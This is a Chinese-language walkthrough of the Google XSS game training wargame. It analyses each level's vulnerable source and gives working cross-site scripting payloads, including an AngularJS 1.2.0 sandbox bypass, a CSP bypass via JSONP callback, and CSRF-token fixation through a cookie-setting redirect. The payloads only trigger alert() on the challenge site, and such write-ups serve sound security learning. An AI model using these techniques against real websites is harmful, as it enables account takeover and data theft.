Wargame-XSS-game

Wargame-XSS-game

http://www.xssgame.com/

Level 1:Hello,world of XSS

提示部分

任务描述

此级别演示了跨站点脚本的常见原因,其中用户输入直接包含在页面中而没有正确转义。 与下面的易受攻击的应用程序窗口交互,找到一种方法使其执行您选择的JavaScript。您可以在易受攻击的窗口内执行操作或直接编辑其URL栏。

使命目标

注入脚本以alert()在下面的框架中弹出JavaScript 。

一旦显示警报,您就可以进入下一级别。
你的目标

测试

在输入框中随便输入 test 后得到

https://xss-game.appspot.com/level1/frame?query=test
  • URL变化
  • 页面重新加载
  • 测试的字符内容被一起加载到页面中

其中URL结尾的?query= 后面的内容与我们输入的是一致的(输入输出相同)

payload

<script>alert("test")</script>

执行成功

https://xss-game.appspot.com/level1/frame?query=<script>alert("test")</script>

Level 2:Persistence is key(持久性是关键)

时间到了!

用户提供的每一项数据都必须正确转义,以显示它所在页面的上下文。这个级别说明了原因。

输入一个输入,使应用程序在JavaScript中执行alert()函数。

分析关键部分代码

<html>
  <head>
    <script src="/static/js/js_frame.js"></script>
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() {
          window.confirm("Time is up!");
          window.loading.style.display = 'none';
          window.message.innerHTML = '<a href="?">Go back</a> to the timer setup page';
        }, seconds * 1000);
      }

    </script>
  </head>
  <body style="background-color: white;">
    <center>
      <h1 style="font-family: serif">
        webtim<span style="color: teal">r</span> <span style="color: green">pro</span>
      </h1>
      <!-- Source: https://commons.wikimedia.org/wiki/File:Loading_icon.gif -->
      <img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />
      <br>
      <div id="message">Your timer will execute in 3 seconds.</div>

  </center>
  </body>
</html>

关键部分是函数

StartTimer()
和
<img id="loading" src="/static/img/loading.gif" style="width: 50%" onload="startTimer('3');" />

知识点

<script>
    var a = 'a' + alert(); // 或者 '-' 也可以,重点在于让 alert() 参与运算
    // 当 alert() 参与运算的时候
    // js 会尝试让 alert() 先执行
    // 然后取其执行后的返回值再参与前面的运算
</script>
再结合 img 标签的 onload 事件:
onload = "startTime('?')"; // 这里需要把上面的知识点利用上 也就是把 alert() 以合适的位置插入

// 先尝试直接插入alert()
onload = "startTimer('alert()')"; // startTimer('alert()'); …… 这不直接当字符串传过去了吗…… 不行

// 看看上面的知识点……
// 插入 a'+alert()+'a
onload = "startTimer('a'+alert()+'a')"; // 这应该差不多了…… 可是好像a没啥用啊,不传不也还是字符串吗,只不过是空字符串
// 插入 '+alert()+'
onload = "startTimer(''+alert()+'')";

payload:

'+alert("xss")+'
http://www.xssgame.com/f/WrfpuKFX8GNr/?timer='+alert("xss")+'

Level 3 画廊

复杂的Web应用程序通常会在JavaScript中生成部分UI。一些常见的JS函数是执行接收器,这意味着它们将导致浏览器执行其输入中出现的任何脚本。

这个级别的应用程序正在使用一个这样的接收器。

由于您无法在应用程序的任何位置输入有效负载,因此您必须在提供的URL栏中手动编辑地址。目标是利用应用程序中的漏洞使其执行JavaScript alert()函数。

测试

随手输入参数非法的参数-1,可以看到页面回显了 -1

源码

<html>
  <head>
    <link rel="stylesheet" href="/static/css/level_style.css" />
    <script src="/static/js/jquery2.min.js"></script>
    <script src="/static/js/js_frame.js"></script>

    <script>
      window.onvalidationready = null;
      function validate() {
        $.post(location.pathname, {'h': location.hash}, function(data, status) {
          $('#result').html(data);
          if (window.onvalidationready) {
            window.onvalidationready();
            window.onvalidationready = null;
          }
        });
      }

      function chooseTab(name) {
        var html = "Cat " + parseInt(name) + "<br>";
        html += "<img src='/static/img/cat" + name + ".jpg' />";

        document.getElementById('tabContent').innerHTML = html;

        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(name)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }

        window.location.hash = name;

        // Tell parent we've changed the tab
        top.postMessage({'url': self.location.toString()}, "*");
      }

      function hashchange() {
        if (self.location.hash) {
          chooseTab(self.location.hash.substr(1));
          validate();
        } else {
          chooseTab(1);
        }
      }

      window.onload = hashchange;
      window.onhashchange = hashchange;
    </script>

  </head>
  <body id="dom-demo">
    <div id="result"></div>
    <div id="header">
      <span>Cat Image</span> <span>X</span><span>S</span><span>S</span> Library
    </div>

    <!-- Source: https://www.flickr.com/photos/eraphernalia_vintage/2988746750
         CC BY-SA 2.0 https://creativecommons.org/licenses/by-sa/2.0/
         Created by Cheryl, published here without modifications -->
    <div class="tab" id="tab1" onclick="chooseTab('1')">Cat 1</div>
    <!-- Source: https://pixabay.com/en/cat-red-christmas-santa-hat-funny-1898512/ (License: Public Domain) -->
    <div class="tab" id="tab2" onclick="chooseTab('2')">Cat 2</div>
    <!-- Source: https://pixabay.com/en/cat-kitten-cute-funny-whiskers-1686730/ (License: Public Domain) -->
    <div class="tab" id="tab3" onclick="chooseTab('3')">Cat 3</div>

    <div id="tabContent"> </div>
  </body>
</html>

关键部分


这里进行了文件名的拼接

需要注意的是通过 innerHTML 写到 div 中。而 innerHTML 方法直接写入的 并不会被执行。

img src='' onerror='alert()' />
<!--
    当图片加载错误的时候,就会执行 onerror 中的 alert() 方法
    对于本关
    我们只需要让他访问一个不存在的图片并让其执行 onerror='alert()' 就OK了
-->

payload

8'onerror='alert(/xss/)'
http://www.xssgame.com/f/u0hrDTsXmyVJ/#8'onerror='alert(/xss/)'

用单引号截断1,使其 scr 指向’1’这个文件,并加入 onerror 事件,而因为’1’这个文件不存在,加载错误,转而执行 onerror 中的 alert() 方法。

Level 4 谷歌读者

跨站点脚本不仅仅是正确转义数据。有时,即使没有将新元素注入DOM,攻击者也可以做坏事。

目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。重要的是解决方案不应该要求用户交互 - 打开URL应该足以触发警报。另请注意,alert()应弹出挑战域 - 重定向到您自己的网页,并提醒那里不会被视为有效的解决方案。

测试

Sign up

 <!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/level_style.css" />
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body>
    <center>
      <img src="/static/img/googlereader-logo.png" /><br><br>
      <!-- We're ignoring the email, but the poor user will never know! -->
      Enter email: <input id="reader-email" name="email" value="">
      <br><br>
      <a href="confirm?next=welcome">Next >></a>
    </center>
  </body>
</html>


<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/level_style.css" />
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body style="background-color: white;">
    <center>
      Welcome! Today we are announcing the much anticipated<br>
      <img src="/static/img/googlereader.png" /><br>
      <a href="signup?next=confirm">Sign up</a> for an exclusive Beta.
    </center>
  </body>
</html>


www.xssgame.com/f/__58a1wgqGgI/confirm?next=welcome

<!DOCTYPE html>
<html>
  <head>
    <script src="/static/js/js_frame.js"></script>
  </head>
  <body style="background-color: white;">
    <center>
      <img src="/static/img/googlereader-logo.png" /><br><br>
      Thanks for signing up, you will be redirected soon...
      <script>
        setTimeout(function() { window.location = 'welcome'; }, 1000);
      </script>

    </center>
  </body>
</html>

其中的’Welcome’像是我们 URL 中传入的参数。
经传入其他参数测试,发现 window.location = 我们传入的参数。

知识点

window.location = 'welcome'; 
/*
    这是一个页面重定向的操作
    window.location 等同于 window.location.href
    而 DOM 的 href 属性呢,支持这样写:
    <a href='javascript:alert()' > </a>
*/

payload:

confirm?next=javascript:alert()

http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert()

Level 5 角

Angular是一个非常流行的框架,在安全地开发应用程序时有一套自己的规则。其中之一是在Angular的模板系统运行之前修改DOM时应该小心。

这一挑战说明了为什么这很重要。

目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。

代码分析

<script>
      angular.module('myApp', [])
      .controller('myController', ['$scope', function ($scope) {
        $scope.query = "";
        $scope.alert = window.alert;
      }]);

      var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
          "utm_campaign", "utm_term"]

      if (location.search)
      {
        var params = location.search.substring(1).split('&');

        for (var p in params) {
          var r = params[p].split('=');

          if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
            var el = document.getElementsByName(r[0]);
            if (el.length) el[0].value = decodeURIComponent(r[1]);
          }
        }
      }
    </script>

先定义了一个数组,用来过滤 URL 中的参数。
过滤出参数以后呢,去页面上找相应的节点。并给节点赋值。页面中的节点有这几个:

<form action="" method="POST">
         <input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
         <input name="utm_term" type="hidden">
         <input name="utm_campaign" type="hidden" value="cpc">
         <input id="demo2-button" type="submit" value="Search">
 </form>

可以看到utm_term 输入框属性是hidden

知识点

什么是 Angular
一款非常优秀的前端高级 JS 框架

  • 其核心就是通过指令扩展了 HTML,通过表达式绑定数据到 HTML。
  • Angular不推崇DOM操作,也就是说在NG中几乎找不到任何的DOM操作

在Angular中怎么使用alert()

Angular 表达式{{}}表示一个表达式,像模板引擎 
hello:{{user.name}} 
{{“hello:”+user.name}} 
{{1+1}} 
{{[1,2,3,4]}} 

payload

选择一个节点进行赋值

?utm_term={{alert()}}
http://www.xssgame.com/f/JFTG_t7t3N-P/?utm_term={{alert()}}

Less 6 角2

经常导致Angular表达式注入的编程模式是使用服务器端模板系统来生成Angular用作其自己的模板的HTML。即使服务器端模板保证输出中没有“普通”XSS,也是如此。

目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。

测试

输入test,会发现输入的内容与输出的一致,尝试构造alert()进行测试,但是显示失败,这是因为 ng-non-bindable指令会告诉AngularJS当前的HTML元素或其子元素不需要编译

这里版本是1.2.0,是一个很早的版本

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>

直接在网上搜索 Angular1.2.0 xss可得

在文末我们找到了当前版本对应 Angular 1.2.0-1.2.1 的 Sandbox bypasses

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

直接输入以上payload
得到

 <form action="/f/rWKWwJGnAeyi/?query=a='constructor';b=};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert()')()}}" method="POST">
          <input id="demo2-query" name="query" maxlength="140" ng-model="query" placeholder="Enter query here...">
          <input id="demo2-button" type="submit" value="Search">
</form>


可以看到是进行了过滤 左花括号被过滤了  {
{ &#123; --- 大括号左边部分Left curly brace
&lcub;
} &#125; --- 大括号右边部分Right curly brace
&rcub;

&lcub;&lcub;a='constructor';b=&lcub;&rcub;a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()&rcub;&rcub;

这里构造简单的也可以,不用拼接

&lcub;&lcub;alert()}}

Leval 7 CSP

内容安全策略是防止注入成为可利用的XSS的重要工具。但这不是一个灵丹妙药 - 很多时候CSP政策都是可以绕过的。

这一挑战展示了一种常见的CSP旁路技术。

目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。

<a href="?menu=YWJvdXQ=">About Me</a>
    <!-- Image source: https://pixabay.com/en/construction-safety-site-banner-1174806/ License: Public Domain -->
    <a href="?menu=Y2F0cw==">Cats</a>
    <!-- Image source: https://pixabay.com/en/cat-red-christmas-santa-hat-funny-1898512/ License: Public Domain -->
    <!-- Image source: https://pixabay.com/en/cat-kitten-cute-funny-whiskers-1686730/ License: Public Domain -->
    <a href="?menu=ZG9ncw==">Dogs</a>
    <!-- Image source: https://pixabay.com/en/goggles-dog-canine-pet-vacation-1472479/ License: Public Domain -->
    <!-- Image source: https://pixabay.com/en/dog-sidecar-sunglasses-funny-171773/ License: Public Domain -->
    <script src="/static/js/level7.js"></script>

代码分析

?menu=ZG9ncw==

menu后面的参数会进行改变
可以看到加载了/static/js/level7.js

/static/js/level7.js代码
/**
 * Ask server side what to display.
 */
function main() {
    var m = location.search.match('menu=(.*)');
    var menu = m ? atob(m[1]) : 'about';
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}

/**
 * Display stuff returned from server side.
 * @param {string} data - JSON data from server side
 */
function callback(data) {
    if (data.title) document.write('<h1>' + data.title + '</h1>');
    if (data.pictures) data.pictures.forEach(function(url) {
        document.write('<img src="/static/img/' + url + '"><br><br>');
    });
}

main();

解释如下

function main(){
    //找到 URL 中 “menu=?” 的参数,并把?参数动态拼接成一个 <script> 标签,来访问资源。
    //atob 对应的是 Base64 编码方式的解码操作,是的,btoa就是编码
}
function callback(data){
    // 通过代码判断,data 应该是 json 格式。
    // 取出其中的 title 和 pictures 对应的 value,拼接成 HTML 代码,插入到页面中,来访问资源
}
main(); //执行 main 方法

我们注意到,其中开头的 callback 与我们 level7.js 中的 callback 方法的名称一样,而且内容中也含有相应的 title 与 pictures,我们基本可以确定这个 json 串返回后会自动执行 callback 函数,像是某种约定,我们去查查看这个 ‘jsonp’:

JSONP:

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里 元素标签,远程调用 JSON 文件来实现数据传递。

搜索发现其中callback可定义导致一些安全问题

我们用 callback 这个参数去我们的 Level 7 中测试一下
?callback=3

callback执行成功,说明存在问题
Level7.js中

function main() {
    var m = location.search.match('menu=(.*)');// 查找了一下当前 URL 中 'menu=' 后面的参数
    var menu = m ? atob(m[1]) : 'about'; // 如果没有获取到参数,则赋值为 'about'
    document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>'); // 在页面中写入 <script> 标签 ,通过 src 请求资源
}

因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。

正常情况下,menu 的值会有4种可能,空值和 index 页面中三个 a 标签内静态的值,document.write 时写下的 script 标签内的 menu 参数有三种可能:’about’、’cats’、’dogs’。相应的会有三种 callback 的 JSON 对象。
如果我传入一个其他参数,后台做没做 default 处理呢,会返回什么内容呢。
我们这里试一下,因为他接受参数后要进行 base64 解码,所以我们传参时要先进行 base64 编码,’atob’ 函数是解码,编码函数猜也猜到应该是 ‘btoa’ 了~

验证一下
果然如此

而且我们发现报错后直接输的值为我们输入的值转码后的值

我们知道,如果我们输入的 menu 参数不是他期望的参数,他会把我们输入的东西显示在页面上。我们构建一个 img 标签传进去试一下:

执行失败,红色的报错部分显示由于CSP的原因,执行失败

PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=

现在我们可以利用的两个点是
1、callback可以使用、
2、menu传递错误的参数可以显示、

给 menu 传入经过 base64 编码后的:

    <script src='jsonp?callback=alert()%3B//'></script> // 转义前为:<script src='jsonp?callback=alert();//'></script>
会把
    <script src='jsonp?callback=alert();//'></script>

显示在页面上,script 标签会尝试加载,触发一个请求,script 而请求的返回内容为:
alert();//({…})
alert(); 后面被注释掉,执行 alert();

Payload

PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCklM0IvLyc+PC9zY3JpcHQ+

http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCklM0IvLyc+PC9zY3JpcHQ+

执行成功

Level 8 CSRF

此挑战演示了许多Web安全性概念,例如CSP,跨站点请求伪造令牌和Self-XSS。

目标是再次利用应用程序中的漏洞使其执行JavaScript alert()函数。在这种情况下,重要的是,解决方案URL也应该在其他浏览器中触发相同的结果 - 仅使用这些特定的cookie显示在此计算机上工作的URL是不够的。

关键代码分析

/**
 * Read cookie.
 * @param {string} name - Name of the cookie
 * @returns {string} Cookie value
 */
function readCookie(name) {
    var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
    return match && match[1];
}

var username = readCookie('name');
if (username) {
    document.write('<h1>Welcome ' + username + '!</h1>');
}

document.addEventListener("DOMContentLoaded", function(event) {
    csrf_token.value = readCookie('csrf_token');
});

这个文件负责读取 cookie 的信息,如果读取到了 ‘name’ 的内容,就 document.write 到页面上。

测试一下 set

尤其是这个url很奇怪
value的值为输入的名字
后面重定向到了index

http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=testhahha&redirect=index 

输入一个非整数

可以看到页面显示了我们输入的小数、

http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=hello&amount=0.22&csrf_token=EVPQBFQCH2  

url中的csrf_token作为参数传递给后台

得到的信息

1、输入的不合法参数金额 account的值会显示出来
2、此页面没有CSP的标识
3、csrf_token 作为参数传递给后台。

在account处构造能够弹窗的代码

<script>alert()</script>
失败

警告显示

您执行了警报,但解决方案的服务器端验证失败。这可能意味着您的解决方案需要用户交互,或者不够通用,无法为不同的用户工作。请尝试使其无需用户交互,并且足够通用,以便适用于任何用户。它也可能是由使用绝对URL引用引起的 - 请避免使用它们

这里的意思由于不同的用户的原因,因为 csrf_token 每个人的都不同

token 很可能可以被 set,如果可行,那就通…… 你懂得。
我们来通过 set 设置 token,通过 redirect 跳转到我们之前成功 alert() 的汇款链接,并把其中的 token 设置成我们前面 set 的值。
OK,我们来构建URL:

http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=Pass&redirect=transfer?name=hello+kitty&amount=<script>alert()</script>&csrf_token=Pass

这里要注意,我们如果直接这样访问,redirect 的值会是:transfer?name=hello kitty。也就是到下一个 & 符会被截断。
所以我们这里 把这个 ‘redirect=’ 后面的内容处理一下,chrome 控制台:

encodeURIComponent('transfer?name=hello+kitty&amount=%3Cscript%3Ealert()%3C/script%3E&csrf_token=Pass')

得到返回值:

transfer%3Fname%3Dhello%2Bkitty%26amount%3D%253Cscript%253Ealert()%253C%2Fscript%253E%26csrf_token%3DPass

好我们替换一下 URL:

http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=Pass&redirect=transfer%3Fname%3Dhello%2Bkitty%26amount%3D%253Cscript%253Ealert()%253C%2Fscript%253E%26csrf_token%3DPass

参照

http://or7.me/2017/08/03/Google_xssgame/
http://www.freebuf.com/articles/web/133384.html